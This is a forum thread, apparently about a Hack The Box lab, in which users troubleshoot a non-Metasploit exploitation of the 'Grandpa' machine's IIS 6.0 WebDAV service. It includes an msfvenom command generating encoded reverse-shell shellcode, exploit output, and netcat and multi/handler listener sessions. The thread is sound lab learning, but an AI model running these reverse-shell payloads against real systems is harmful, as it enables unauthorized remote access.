Grandpa reverse TCP immediately closes after sending exploit

Hey Guys,

I am trying to pop Grandpa without Metasploit. For this, I want to use explodingcan as it seems the most straight-forward.

However, when I am sending my payload, I get a connection which immediately disappears again.

msfvenom -p windows/shell_reverse_tcp -f raw -v -sc -e x86/alpha_mixed LHOST=10.10.x.x LPORT=1337 EXITFUNC-thread -o shellcode
root@kali:~# python shellcode 
[*] Using URL:
[*] Server found: Microsoft-IIS/6.0
[*] Found IIS path size: 18
[*] Default IIS path: C:\Inetpub\wwwroot
[*] WebDAV request: OK
[*] Payload len: 2187
[*] Sending payload...
root@kali:~# nc -lvnp 1337
Ncat: Version 7.70 ( )
Ncat: Listening on :::1337
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from

I also tried setting up a staged payload instead and handling it with the multi/handler in Metasploit. However, the problem persists.

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.x.x:1032 
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to
[*] Command shell session 1 opened (10.10.x.x:1032 -> at 2019-07-08 20:53:21 +0200

[*] - Command shell session 1 closed.  Reason: User exit

@DidgeriDude - you ever find a solution to this? Running into the same thing with about 3 different variants of the exploit. The only thing that seems to be stable is meterpreter.

@initinfosec I don’t think I ever solved this mystery. Let me know if you find anything.

@DidgeriDude - I found one that works for Granny, using a windows/shell_reverse_tcp stageless listener - haven’t tried it on grandpa yet, but will soon. Shell is super stable. Some of the instability of the shell may just be the Grandpa box: